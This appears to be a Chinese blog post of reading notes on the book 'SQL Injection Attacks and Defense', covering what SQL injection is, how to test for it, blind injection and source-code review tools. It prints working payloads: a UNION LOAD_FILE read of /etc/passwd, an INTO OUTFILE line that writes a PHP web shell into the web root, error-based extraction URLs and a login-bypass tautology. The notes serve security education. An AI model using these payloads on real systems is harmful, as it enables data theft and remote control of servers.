您的位置:首页 > 数据库

《SQL注入攻击与防御》读书笔记

2015-10-08 23:41 316 查看
[align=center]《SQL注入攻击与防御》读书笔记

第1章  什么是SQL注入

[/align]
[align=left]        SQL注入(定义):应用程序在向后台数据库传递SQL查询时,如果为攻击者提供了影响该查询的能力,则会引发SQL注入。攻击者通过影响传递给数据库的内容来修改[/align]
[align=left]                                      SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性。SQL注入不只是一种会影响Web应用的漏洞;对于任何从不可信源[/align]
                                      获取输入的代码来说,如果使用了该输入来构造动态SQL语句,那么就很可能也会受到攻击。

        数据库驱动的web应用通常包含三层:表示层(web浏览器)、逻辑层(JSP)、持久层(数据库);

                                                        四层结构:表示层、逻辑层、应用层、持久层;

        参数化查询:指SQL语句中包含一个或多个嵌入参数的查询。可以在运行过程中将参数传递给这些查询。包含的嵌入到用户输入中的参数不会被解析成命令而执行,
                                而且代码不存在被注入的机会。这种将参数嵌入到SQL语句中的方法比起使用字符串构造技术来动态构造并执行SQL语句来说拥有更高的效率且更安全。

        理解SQL注入的产生过程:

        

       -构造动态字符串-

        

        1.转义字符处理不当:SQL数据库将单引号字符(')解析成代码与数据间的分界线:假定单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。
                                                因此,只需简单地在URL或Web页面(或应用)的字段中输入一个单引号,就能快速识别出web站点是否会受到SQL注入攻击。
                            

                            如果将一个单引号字符作为该程序的输入,则可能会出现下列错误中的一种。具体出现何种错误取决于很多环境因素,比如编程语言、使用的数据库以及
[align=left]                            采用的保护和防御技术。[/align]

                            单引号字符会被解析成字符串分隔符并作为代码与数据间的分界线。处理数字数据时,不需要使用单引号将数字数据引起来,否则数字数据会被当作字符串
                            来处理。

                            单引号字符并不是唯一的转义字符。比如在Oracle中,空格( )、双竖线( || )、逗号(,)、点号(.)、(*/)以及双引号字符(")均具有特殊含义。

        2.类型处理不当:

                          mysql提供一个名为LOAD_FILE的函数,能够读取文件并将文件内容作为字符串返回。要使用该函数,必须保证读取的文件位于数据库服务器上,然后将文件
[align=left]                          的完整路径作为输入参数传递给函数。调用该函数的用户还必须拥有FILE权限。若将下列语句作为输入,那么攻击者便会读取/etc/passwd文件中的内容,[/align]
[align=left]                          该文件中包含系统用户的属性和用户名:[/align]
[align=left]
UNION All Select LOAD_FILE('/etc/passwd') --
[/align]

                          mysql还包含一个内置命令,可使用该命令来创建系统文件并进行写操作。还可使用下面的命令向web根目录写入一个Web shell以便安装一个可远程交互访问
                          的web shell:
UNION Select "<?system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"--


                          要想执行LOAD_FILE和SELECT INTO OUTFILE命令,易受攻击应用所使用的mysql用户就必须拥有FILE权限(FILE是管理员权限)。

                          攻击者的输入直接被解析成SQL语法,所以攻击者没有必要使用单引号字符来转义查询。下面的代码更加清晰地说明了构造的SQL语句:
Select * From Table Where UserId = 1 UNION All Select LOAD_FILE('/etc/passwd)--


        3.查询集处理不当:

        4.错误处理不当: ' and 1 in (SELECT @@version) --

        5.多个提交处理不当:

     - 不安全的数据库配置 -

                                               数据库带有很多默认的用户预安装内容。SQL Server使用 "sa" 作为数据库系统管理员帐户;
[align=left]                                               mysql使用 "root" 和 "anonymous" 用户帐户;[/align]
[align=left]                                               oracle则在创建数据库时默认创建 SYS  SYSTEM  DBSNMP  OUTLN  帐户;

第2章  SQL注入测试[/align]
[align=left]
[/align]
                -寻找SQL注入-  

                          我们很难访问到应用的源代码,因此需要借助推理进行测试。要理解并进行攻击,拥有一种分析型思维模式非常重要。

                1.借助推理进行测试:识别SQL注入漏洞有一种简单的规则:通过发送意外数据来触发异常。该规则包含以下含义:
                                                       识别WEB应用上所有的数据输入;

                                                       了解哪种类型的请求会触发异常;

                                                       检测服务器响应中的异常;

                          识别出应用接收的所有数据后,需要修改这些数据并分析服务器对它们的响应。有时响应中会直接包含来自数据库的SQL错误,这时所有工作都将变得
[align=left]                          非常简单。有时需要不断集中精力以便检测响应中细微的差别。[/align]
[align=left]
[/align]
                     1).识别数据输入:HTTP协议的GET方法和POST方法。

                                                     修改浏览器数据(代理服务器)

                      其他注入型数据:大多数应用都从GET或POST参数中检索数据,但HTTP请求的其他内容也可能会触发SQL注入漏洞。

                                                      cookie就是个很好的例子。cookie被发送给用户端的浏览器,并在每个请求中都会自动回发给服务器。

                                                      cookie一般被用来验证、会话控制和保存用户特定的信息。我们可以完全控制发送给服务器的内容,所以应该考虑将cookie作为一种有效的
                                                      用户数据输入方式和易受注入影响的对象。

                    2).操纵参数

                                        用户数据验证,有两个原因会引发SQL注入漏洞:

                                                缺少用户输入验证(缺少用户输入验证,将导致攻击者可以从数据部分跳到注入控制命令)

                                                数据和控制结构混合在同一传输通道中

                    

                    3).信息工作流

                                        要对数据输入影响SQL查询的过程和可以从数据库期望获取的响应类型有清晰的理解。

                                        动态web请求所涉及的各方之间的信息工作流:

                                                        1.用户向Web服务器发送请求;

                                                        2.Web服务器检索用户数据,创建包含用户输入的SQL语句,然后向数据库服务器发送查询;

                                                        3.数据库服务器执行SQL查询并将结果返回给Web服务器;

                                                        4.Web服务器根据数据库响应动态地创建HTML页面。

            2.数据库错误

                        常见SQL错误(不需要记住所有的错误代码,重要的是理解错误发生的时机和原因)

                        1) SQL Server错误

                               浏览器:         http://www.victim.com/showproducts.php?category=attacker'
                               SQL服务器: Select * From products Where category='attacker''        // 该应用并未审查单引号,所以数据库服务器拒绝执行该语句并返回一个错误。

                               

                               浏览器:         http://www.victim.com/showproducts.php?id=2
                                                        http://www.victim.com/showproducts.php?id=attacker //payload

                               SQL服务器: Select * From products Where idproducts=2

                                                        Select * From products Where idproducts=attacker

                               可以使用一些技术来检索嵌入在数据库返回错误中的信息。 第一种技术是通过将字符串转换为整数来产生错误:
http://www.victim.com/showproducts.php?category=bikes' and 1=0/@@version;--

[align=left]                                     数据库报告了一个错误,它将@@version的结果转换成一个整数并显示了其内容。该技术滥用了SQL Server中的类型转换功能。[/align]
[align=left]                                     发送0/@@version作为部分注入代码。除法运算需要两个数字作为操作数,所以数据库尝试将@@version函数的结果转换成一个数字。[/align]
[align=left]                                     当该操作失败时,数据库会显示出变量的内容。[/align]
                                     可以使用该技术显示数据库中的任何变量。下面的例子使用该技术显示user变量的值:
http://www.victim.com/showproducts.php?category=bikes' and 1=0/user;--
 http://www.victim.com/showproducts.php?category=bikes' having 1 '=' 1  // 用于显示数据库执行的语句信息
 http://www.victim.com/showproducts.php?category=bikes' group by productid having  1 '='1 http://www.victim.com/showproducts.php?category=bikes' group by productid having '1 '='1 http://www.victim.com/showproducts.php?category=bikes' and 1=0/name;--


                         2)MySql错误:

                         

                         3)Oracle错误:

                                      

            3.应用响应:

                               寻找SQL注入漏洞的过程包括识别用户数据输入,操纵发送给应用的数据以及识别服务器返回结果中的变化。

                   

                              通用错误
[align=left]                              HTTP代码错误[/align]
                              不同的响应大小

                   

            4.SQL盲注 (blind SQL injection)

                 用户登录:用户名/密码      
user' or  '1' = '1     // SQL盲注-永真    提示: Invalid password
user' and '1' = '2     // SQL盲注-永假    提示: Invalid username or password


                     做完永假测试后,可以确认username 字段易受到SQL注入攻击。但password字段不易受到攻击,而且无法绕过身份验证表单。

                     username条件为真时,表单显示"Invalid password"

                     username条件为假时,表单显示"Invalid username or password"

                     这种情况被称为SQL盲注。SQL盲注是一种SQL注入漏洞,攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。

                     由于SQL盲注漏洞非常耗时且需要向web服务发送很多请求,因此要想利用该漏洞,就需要采用自动的技术。

                     SQL盲注是一种很常见的漏洞,但有时它非常细微,检验不丰富的攻击者可能会检测不到。

                       

      -确认SQL注入- 

              *区分数字和字符串
[align=left]              *内联SQL注入[/align]
[align=left]              *终止式SQL注入[/align]
                    1.数据库注释语法

                    2.使用注释

                    3.执行多条语句

              *时间延迟

      -自动寻找SQL注入-

               自动寻找SQL注入的工具:WebInspect 

                                                               IBM Rational AppScan

                                                               HP Scrawlr

                                                               SQLix

                                                               Paros Proxy

        捷径:
                    1.寻找SQL注入

                               寻找SQL注入漏洞存在三个关键点:
                                               a.识别web应用接收的数据输入

                                               b.修改输入值以包含危险的字符串

                                               c.检测服务器返回的异常

                

                     使用web代理角色扮演工具有助于绕过客户端限制,完全控制发送给服务器的请求。此外,它们还能提高服务器响应的可见度,提供更多检测到细小漏洞的机会。

                     包含数据库错误或HTTP错误代码的服务器响应通常能降低识别SQL注入漏洞的难度。不过SQL盲注是一种即使应用不返回明显错误也能利用漏洞的技术。

                     

                     2.确认SQL注入

                                要想确认一个SQL注入漏洞并进一步加以利用,需要构造一条能注入SQL代码的请求以便应用创建一条语法正确的SQl语句,之后由数据库服务器执行该
[align=left]                        语句且不返回任何错误。[/align]

                                 创建语法正确的语句时,可以终止它并注释剩下的查询。对于这种情况,通常可以毫无约束地连接任意SQL代码,进而提供执行攻击的能力。

                                 有时,应用对注入操作没有回复任何可见的信息。这时可以通过向来自数据库的回复引入延迟来确认注入。应用服务器将等待数据库回复,我们则可以确认
[align=left]                         是否存在漏洞。对于这种情况,需要意识到网络和服务器工作负荷可能会对延迟造成轻微干扰。[/align]

                      3.自动发现SQL注入

                                 寻找SQL注入漏洞所涉及的操作可以被适度自动化。当需要测试大型web站点时,自动技术非常有用,但需要意识到自动发现工具可能无法识别某些存在的
[align=left]                          漏洞,不能完全依赖自动化工具。[/align]
                

                          有多款商业工具可以对web站点的完整安全性进行评估,还可以进行SQL注入漏洞测试。可选择免费、开源的工具来辅助大型站点中的SQL注入漏洞查找操作。

[align=left]

第3章  复查代码中的SQl注入[/align]
[align=left]
[/align]
                 通常要找到程序中潜在的SQL注入,最快的方法是复查程序的源代码。

                 分析源代码漏洞主要有两种方法:静态代码分析和动态代码分析。

                         静态代码分析:静态代码分析指在分析源代码的过程中并不真正执行代码。

                         动态代码分析:动态代码分析指在代码运行过程中对其进行分析。

                 在复查SQL注入漏洞的语境中,我们将渗入点称为安全敏感函数,该函数用于执行涉及数据库的SQL语句。为缩小复查关注的范围,应首先识别潜在的渗入点。

                 如果找到一个渗入点,则说明很可能存在SQL注入漏洞。大多数情况下必须进一步分析其他的代码以确定是否存在注入漏洞。若web程序开发人员无法确保在

                 将从渗入源(表单、cookie、输入参数)收到的值传递给SQL查询之前已对其进行验证,那么通常会引发SQL注入漏洞。

                         1. 危险的编码行为:要执行有效的源代码复查并识别所有潜在SQL注入漏洞,需要能区分危险的编码行为,比如加入动态字符串构造技术的代码。

                         2. 危险的函数

                         3. 跟踪数据

                         4. 复查PL/SQL 和 T-SQL代码

自动复查源代码

    1. YASCA(开源程序,用于寻找程序源代码中的安全漏洞和代码质量问题)  集成了其他开源项目,比如:FindBugs、PMD、Jlint。

    2. Pixy 免费的Java程序,能自动扫描PHP4的源代码,目标是检测跨站脚本和SQL注入漏洞。 

    3. AppCodeScan 用于扫描多种源代码漏洞的工具。使用正则表达式匹配字符串来识别潜在的危险函数和代码中的字符串,同时还提供了很多配置文件。

    4. LAPSE 帮助用户审查javaEE应用并寻找web应用中常见的安全漏洞类型。是eclipse的一个插件,能够识别受感染的源和渗入点,另外还能映射源和渗入点之间的路径。

    5. SWAAT 扫描源代码漏洞。     

    6. Microsoft SQL 注入源代码分析器 静态代码分析工具,用于发现ASP代码中的SQL注入漏洞。

    7. CAT.NET 代码分析工具 二进制代码分析工具。用于识别某些流行漏洞中常见的变量。

    8. Ounce 

    9. Fortify 源代码分析器  静态分析工具,能够处理代码并尝试识别漏洞。

   11. CodeSecure 

捷径:

            1.复查源代码中的SQL注入

            2.自动复查源代码

第4章  利用SQL注入

第5章  SQL盲注利用

第6章  利用操作系统

第7章  高级话题

第8章  代码层防御

第9章  平台层防御

第10章  参考资料

注:

        SQL注入攻击与防御 SQL Injection Attacks and Defense        Justin Clarke等著  黄晓磊 李化译    清华大学出版社  2010.6

[align=left]
[/align]
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: